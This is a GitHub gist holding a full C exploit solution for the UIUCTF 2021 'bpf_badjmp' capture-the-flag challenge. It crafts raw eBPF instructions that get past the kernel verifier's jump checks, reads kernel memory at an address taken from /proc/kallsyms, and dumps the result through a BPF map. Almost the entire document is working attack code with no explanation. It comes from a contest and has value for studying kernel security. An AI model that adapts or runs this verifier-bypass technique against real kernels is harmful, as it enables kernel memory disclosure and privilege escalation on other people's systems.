Skip to content

Instantly share code, notes, and snippets.

@d4em0n
Created August 2, 2021 10:15
Show Gist options
  • Save d4em0n/c1e025689f84122d6533f8cac4bfaff4 to your computer and use it in GitHub Desktop.
Save d4em0n/c1e025689f84122d6533f8cac4bfaff4 to your computer and use it in GitHub Desktop.
UIUCTF 2021: bpf_badjmp solutions
// Running with: ./exploit $(cat /proc/kallsyms | grep uiuctf | awk '{print $1}')
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <pthread.h>
#include <sys/wait.h>
#include <linux/bpf.h>
#include <sys/mman.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <stddef.h>
#include <sys/stat.h>
#ifndef __NR_BPF
#define __NR_BPF 321
#endif
#define ptr_to_u64(ptr) ((__u64)(unsigned long)(ptr))
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn){ \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM})
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn){ \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32)(IMM)}), \
((struct bpf_insn){ \
.code = 0, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64)(IMM)) >> 32})
#define BPF_MOV64_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_K, DST, 0, 0, IMM)
#define BPF_MOV_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU | BPF_MOV | BPF_X, DST, SRC, 0, 0)
#define BPF_MOV64_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_X, DST, SRC, 0, 0)
#define BPF_MOV_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU | BPF_MOV | BPF_K, DST, 0, 0, IMM)
#define BPF_RSH_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_RSH | BPF_X, DST, SRC, 0, 0)
#define BPF_LSH_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_LSH | BPF_K, DST, 0, 0, IMM)
#define BPF_ALU64_IMM(OP, DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM)
#define BPF_ALU64_REG(OP, DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_X, DST, SRC, 0, 0)
#define BPF_ALU_IMM(OP, DST, IMM) BPF_RAW_INSN(BPF_ALU | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM)
#define BPF_JMP_IMM(OP, DST, IMM, OFF) BPF_RAW_INSN(BPF_JMP | BPF_OP(OP) | BPF_K, DST, 0, OFF, IMM)
#define BPF_JMP_REG(OP, DST, SRC, OFF) BPF_RAW_INSN(BPF_JMP | BPF_OP(OP) | BPF_X, DST, SRC, OFF, 0)
#define BPF_JMP32_REG(OP, DST, SRC, OFF) BPF_RAW_INSN(BPF_JMP32 | BPF_OP(OP) | BPF_X, DST, SRC, OFF, 0)
#define BPF_JMP32_IMM(OP, DST, IMM, OFF) BPF_RAW_INSN(BPF_JMP32 | BPF_OP(OP) | BPF_K, DST, 0, OFF, IMM)
#define BPF_EXIT_INSN() BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0)
#define BPF_LD_MAP_FD(DST, MAP_FD) BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LD_IMM64(DST, IMM) BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) BPF_RAW_INSN(BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, DST, 0, OFF, IMM)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) BPF_RAW_INSN(BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, DST, SRC, OFF, 0)
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) BPF_RAW_INSN(BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, DST, SRC, OFF, 0)
int doredact = 0;
#define LOG_BUF_SIZE 65536
char bpf_log_buf[LOG_BUF_SIZE];
char buffer[64];
int sockets[2];
int sockets2[2];
int mapfd;
int _mapfd[0x1000];
size_t _offset = 0;
void fail(const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
fprintf(stdout, "[!] ");
vfprintf(stdout, fmt, args);
va_end(args);
exit(1);
}
void msg(const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
int bpf_create_map(enum bpf_map_type map_type,
unsigned int key_size,
unsigned int value_size,
unsigned int max_entries,
unsigned int map_fd)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
.inner_map_fd = map_fd};
return syscall(__NR_BPF, BPF_MAP_CREATE, &attr, sizeof(attr));
}
int bpf_create_map_node(enum bpf_map_type map_type,
unsigned int key_size,
unsigned int value_size,
unsigned int max_entries,
unsigned int map_fd,
unsigned int node)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
.inner_map_fd = map_fd,
.numa_node = node,
.map_flags = BPF_F_NUMA_NODE
};
return syscall(__NR_BPF, BPF_MAP_CREATE, &attr, sizeof(attr));
}
int bpf_obj_get_info_by_fd(int fd, const unsigned int info_len, void *info)
{
union bpf_attr attr;
memset(&attr, 0, sizeof(attr));
attr.info.bpf_fd = fd;
attr.info.info_len = info_len;
attr.info.info = ptr_to_u64(info);
return syscall(__NR_BPF, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr));
}
int bpf_lookup_elem(int fd, const void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return syscall(__NR_BPF, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
int bpf_update_elem(int fd, const void *key, const void *value,
uint64_t flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return syscall(__NR_BPF, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
int bpf_prog_load(enum bpf_prog_type type,
const struct bpf_insn *insns, int insn_cnt,
const char *license)
{
union bpf_attr attr = {
.prog_type = type,
.insns = ptr_to_u64(insns),
.insn_cnt = insn_cnt,
.license = ptr_to_u64(license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 3,
};
return syscall(__NR_BPF, BPF_PROG_LOAD, &attr, sizeof(attr));
}
#define BPF_LD_ABS(SIZE, IMM) \
((struct bpf_insn){ \
.code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = IMM})
#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
BPF_LDX_MEM(BPF_DW, dst, BPF_REG_0, 0), \
BPF_MOV64_IMM(BPF_REG_0, 0)
#define BPF_MAP_GET_ADDR(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
BPF_MOV64_REG((dst), BPF_REG_0), \
BPF_MOV64_IMM(BPF_REG_0, 0)
/*
0xffa00000000b7ba8: 0x0000000400000bb4 0x0000000000007b1f
0xffa00000000b7bb8: 0x0000000000007b4f 0x0000000000000b87
0xffa00000000b7bc8: 0x0000003f00000bc7 0x0000000000007b5f
0xffa00000000b7bd8: 0x000000000000b80f
*/
int load_prog(uint64_t addr)
{
struct bpf_insn prog[] = {
BPF_LD_MAP_FD(BPF_REG_9, _mapfd[0]),
BPF_MAP_GET(0, BPF_REG_7),
BPF_MAP_GET_ADDR(0, BPF_REG_8),
// prepare arg map
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0),
//BPF_LD_IMM64_RAW(BPF_REG_0, 0, 0xffffffff81d58000),
BPF_LD_IMM64_RAW(BPF_REG_0, 0, addr),
BPF_JMP_IMM(BPF_JLE, BPF_REG_7, 4, 25), // goto jmp1
BPF_MOV64_IMM(BPF_REG_0, 0x0),
BPF_EXIT_INSN(),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), // jmp2:
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_7),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_3),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_7),
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7), /* ins0
ins1
ins2
ins3
ins4
ins5
ins6
*/
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x0),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x0),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x8),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x8),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0xc),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0xc),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x10),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x10),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x18),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x18),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x20),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x20),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x28),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x28),
BPF_MOV64_IMM(BPF_REG_0, 0x0),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JLE, BPF_REG_7, 4, -24), // jmp1: goto jmp2
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog) / sizeof(struct bpf_insn), "GPL");
}
int write_msg(int fd)
{
ssize_t n = write(fd, buffer, sizeof(buffer));
if (n < 0)
{
perror("write");
return 1;
}
if (n != sizeof(buffer))
{
fprintf(stderr, "short write: %ld\n", n);
}
return 0;
}
void update_elem(int key, size_t val)
{
if (bpf_update_elem(mapfd, &key, &val, 0)) {
fail("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
size_t get_elem(int fd, int key)
{
size_t val;
if (bpf_lookup_elem(fd, &key, &val)) {
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
}
return val;
}
int main(int argc,char** argv)
{
_mapfd[0] = bpf_create_map(BPF_MAP_TYPE_ARRAY,4,0x40,0x10,0);
_mapfd[1] = bpf_create_map(BPF_MAP_TYPE_ARRAY,4,0x40,0x10,0);
uint64_t result=0;
int key;
char buf[0x80] = {0};
uint64_t addr = strtoul(argv[1], NULL, 16);
int progfd = load_prog(addr);
if (progfd < 0)
{
if (errno == EACCES)
{
msg("log:\n%s", bpf_log_buf);
}
printf("%s\n", bpf_log_buf);
fail("failed to load prog '%s'\n", strerror(errno));
}
printf("loaded\n");
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
{
fail("failed to create socket pair '%s'\n", strerror(errno));
}
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
{
fail("setsockopt '%s'\n", strerror(errno));
}
write_msg(sockets[0]);
printf("Done\n");
key = 0;
bpf_lookup_elem(_mapfd[0], &key, &buf);
printf("res: %s\n", buf);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment